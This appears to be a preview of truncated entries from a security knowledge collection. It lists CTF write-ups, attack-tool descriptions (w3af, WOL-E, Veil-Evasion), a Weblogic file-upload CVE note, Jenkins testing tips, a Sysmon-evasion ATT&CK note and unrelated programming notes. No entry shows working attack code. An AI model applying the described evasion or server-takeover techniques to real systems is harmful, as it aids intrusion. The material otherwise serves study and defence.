# 温习Redux中相关的React知识点 ## 组件间数据传递 React核心思想就是数据和程序分离,用state进行状态的控制,用props进行数据间传递。 ### 利用`state`和`props`进行组件间数据传递 #### 核心思想 >通过子组件,修改父组件的 state ,然后把父组件的 state 作为所有子组件的 props 值传入各个子组件 #### 创建父组件 1. 创建组件`App` 2. 将我们需要的数据放在`state`里 3. 写一个`handleClick`方法进行修改数据 4. 将`handleClick`方法传入`CommentBox`组件中 5. `handleClick`方法的参数为子组件获取的...
sec-knowleage
# w3af ## w3af软件包描述 w3af是一个用于对Web应用程序进行攻击和代码审计的框架,旨在识别和利用几乎所有Web应用程序漏洞。w3af软件包为本框架提供了图形用户界面(GUI)。如果您只想通过命令行使用w3af的话,可以安装w3af-console。w3af框架被称为“网络渗透界的metasploit”,但实际上w3af的功能不仅如此,它还能够使用黑盒扫描技术发现web应用程序漏洞!w3af本身及其插件都是使用Python编写的。w3af拥有130多个插件,使用它们可以方便地识别和利用SQL注入,跨站脚本(XSS),远程文件包含等漏洞. [w3af首页](http://w3af.sourceforge.net/) |...
sec-knowleage
# WOL-E软件包描述 WOL-E是一套利用计算机“网络唤醒”(Wake on LAN--WOL)功能的工具,该功能现在在许多Apple电脑上默认启用。这些工具包括: - 强制用MAC地址唤醒客户端 - 嗅探网络上的WOL请求并将其保存到磁盘 - 嗅探网络上的WOL密码并将其保存到磁盘 - 唤醒单个客户端(嗅探攻击) - 扫描网络上启用WOL功能的Apple设备 - 向所有检测到的Apple客户端发送批量WOL请求 资料来源:[https://code.google.com/p/wol-e/](https://code.google.com/p/wol-e/) [WOL-E首页](http://code.google.com/p/...
sec-knowleage
**Authors**: < [nixawk](https://github.com/nixawk) >, < [sjas](https://github.com/sjas) > ---- # Vulnerability Assessment Having identified the most viable attack methods, you need to consider how you will access the target. During vulnerability analysis, you combine the information that you’ve learned from the prior p...
sec-knowleage
# Cr4ckZ33C0d3 Reversing, 466 points ## Description: A binary was attached, as well as a server address. ## Solution: Let's run the binary: ```console root@kali:/media/sf_CTFs/tamu/Cr4ckZ33C0d3# ./prodkey Please Enter a product key to continue: test Key was too short 5. ``` So we'll have to provide some product key in ...
sec-knowleage
# Micro-CMS v2 - FLAG0 ## 0x00 Index ![](./imgs/index.jpg) ## 0x01 Log In Try create a new page. Redirect to log in page. Try with weak password. Not working. ![](./imgs/login.jpg) ## 0x02 Try Add ' Get SQL error page ``` Traceback (most recent call last): File "./main.py", line 145, in do_login if cur.execute('S...
sec-knowleage
# 包管理 --- **软件包是什么?** 软件包这个概念是用来解决在软件安装、升级过程中的复杂性的。包将软件安装升级中需要的多个数据文件合并成一个单独的文件,这将便于传输和(通过压缩文件来)减小存储空间,包中的二进制可执行文件已根据开发者所选择的编译标识预编译。包本身包括了所有需要的元数据,如软件的名字、软件的说明、版本号,以及要运行这个软件所需要的依赖包等等。 不同流派的 Linux 发行版都创造了它们自己的包格式,其中最常用的包格式有: - .deb:这种包格式由 Debian、Ubuntu、Linux Mint 以及其它的变种使用。这是最早被发明的包类型。 - .rpm:这种包格式最初被称作红帽包管理器(LCTT 译注: 取...
sec-knowleage
# 第一章 引论 编译器(Compiler)是一种将高级程序设计语言(如 C、C++、Java等)编写的源代码转换为目标代码(如汇编语言或机器码)的程序。编译器通过一系列的处理步骤将源代码翻译成机器可以执行的指令集,使程序可以被计算机直接执行。 编译器通常包括以下几个主要的处理步骤: 1. 词法分析(Lexical Analysis):将源代码转换为一个个标记(Token),如关键字、标识符、数字、运算符等。 2. 语法分析(Syntax Analysis):根据语言规范分析源代码中的语法结构,构建出抽象语法树(Abstract Syntax Tree, AST),以方便后续的分析和转换。 3. 语义分析(Semantic Anal...
sec-knowleage
version: '2' services: mongo: image: mongo:5.0.6 environment: MONGO_INITDB_ROOT_USERNAME: root MONGO_INITDB_ROOT_PASSWORD: root MONGO_INITDB_DATABASE: yapi web: image: vulhub/yapi:1.10.2 ports: - "3000:3000" volumes: - ./config.json:/usr/config.json - ./initdb.js:/u...
sec-knowleage
### [第十一课:工具介绍Veil-Evasion](../Chapter1/11_工具介绍Veil-Evasion.md) ### [第十二课:基于UDP发现内网存活主机](../Chapter1/12_基于UDP发现内网存活主机.md) ### [第十三课:基于ARP发现内网存活主机](../Chapter1/13_基于ARP发现内网存活主机.md) ### [第十四课:基于第十课补充payload1](../Chapter1/14_基于第十课补充payload1.md) ### [第十五课:基于第十课补充payload2](../Chapter1/15_基于第十课补充payload2.md) ### [第...
sec-knowleage
# Weblogic 任意文件上传漏洞(CVE-2018-2894) Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。 利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。 参考链接: - http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html - https://mp.weixin.qq.com/s/y5JGmM-aNaHcs_6P9a-gRQ - https://...
sec-knowleage
from Crypto.Util.number import getPrime, getRandomRange, GCD def getBlumPrime(nbits): p = getPrime(nbits) while p % 4 != 3: p = getPrime(nbits) return p def genKey(nbits): p = getBlumPrime(nbits/2) q = getBlumPrime(nbits/2) N = p * q return ((p,q), N) def randQR(N): return po...
sec-knowleage
# Jenkins Common Bugs ## Introduction What would you do if you came across a website that uses Jenkins? ## How to Detect Usually in the HTTP response there is a header like this `X-Jenkins` 1. Find the related CVE by checking jenkins version * How to find the jenkins version By checking the response header `X-Jenkins`,...
sec-knowleage
---------------- [Forensics] Dump - 50 points ---------------- > English: > We know this dump was generated by a process which was executing as root in the computer, and that it was reading directly from a /dev device. Probably it is part of a keylogger module included in a rootkit which is being tested by the Club. He...
sec-knowleage
package com.vulhub.authzvuln; import org.springframework.stereotype.Controller; import org.springframework.boot.web.servlet.error.ErrorController; import org.springframework.web.bind.annotation.RequestMapping; import javax.servlet.http.HttpServletRequest; import org.springframework.http.HttpStatus; import javax.servl...
sec-knowleage
# Number Error Misc. ## Description: > The function `assert_number(num: number)` is merely a debug function for our Wee VM (WeeEm?). It proves additions always work. Just imagine the things that could go wrong if it wouldn't! ## Solution: This is a "Wee" challenge - see basic explanation [here](./Wee/). The `assert_n...
sec-knowleage
--- title: Sublime 编辑器 --- ### 简介 Sublime Text 是一个代码编辑器(Sublime Text 3是收费软件,但可以无限期试用) Sublime 支持多种编程语言的语法高亮、拥有优秀的代码自动完成功能,还拥有代码片段(Snippet )的功能,可以将常用的代码片段保存起来,在需要时随时调用 ### 安装 window下百度搜索 `sublime` 进行下载安装 ### 插件 #### 安装 `Package Control` 按 **Ctrl+`** 调出console 粘贴下面安装代码到底部命令行并回车: > import urllib.request,os,hashlib; h = 'd...
sec-knowleage
# Writeup Nuit du Hack CTF Quals 2017 Team: nazywam, msm, akrasuski1, rev, c7f.m0d3, cr01283, shalom ## Table of contents * [Mark is falling down drunk (crypto/web)](markdown)
sec-knowleage
--- title: Docker 所面临的风险 --- <center><h1>Docker 所面临的风险</h1></center> --- ## 1、容器镜像存在的风险 ### 不安全的第三方组件 例如开发者在代码中引入了存在漏洞版本的 log4j2 组件,然后将其打包成了业务镜像。这样即使代码没有漏洞,但因为引入了不安全的第三方组件也变得有漏洞了。 再比如开发者在 Django 镜像的基础上,编写了自己的 Python 代码,然后将其打包成镜像。这样如果在 Django 镜像里引用了不安全的第三方组件或者 Django 自身存在漏洞,自己打包的镜像也同样会受到影响。 ### 不安全的镜像 在公共镜像仓库比如 Docker ...
sec-knowleage
# T1562-001-windows-绕过sysmon ## 来自ATT&CK的描述 攻击者可能试图阻止由监测软件或进程捕获到的告警,以及事件日志被收集和分析。这可能包括修改配置文件或注册表项中的监测软件的设置,以达到逃避追踪的目的。 在基于特征监测的情况下,攻击者可以阻止监测特征相关的数据被发送出去,以便于阻止安全人员进行分析。这可以有很多方式实现,例如停止负责转发的进程(splunk转发器、Filebate、rsyslog等)。 ## 测试案例 众所周知,sysmon可以帮助安全人员记录很多安全事件,目前sysmon最新版本已经是10.X版本。对于攻击者来讲,他们可能需要确定目标主机是否存在sysmon。通常,攻击者是不会去检...
sec-knowleage
# My First App (Web, 399p, 62 solved) Honestly we're not exactly sure what was the idea behind this task. We get a link to a webapplication which says: ``` After much research, I've found on stackoverflow.com how to protect my framework app. ``` And there is a link to `/getflag`, but there is a password prompt when we ...
sec-knowleage
.TH IPTABLES-SAVE 8 "Jan 04, 2001" "" "" .\" .\" Man page written by Harald Welte <laforge@gnumonks.org> .\" It is based on the iptables man page. .\" .\" This program is free software; you can redistribute it and/or modify .\" it under the terms of the GNU General Public License as published by .\" the Free Software F...
sec-knowleage
#include <cstdio> #include <cstdint> #include <cstdlib> #include <cstring> char bufkey_str[1000] = "I'm a big fan of septyem46c7eb3f858c137f9bdffa5e0f880e8959bb2e65"; int* bufkey = (int*) bufkey_str; unsigned int all_v5[] = { 0x363DDF8A, 0x0E3707311, 0x0E879FDD, 0x24BEA3C7, 0x9B7E408B, 0x3074528A, 0x0C6445404...
sec-knowleage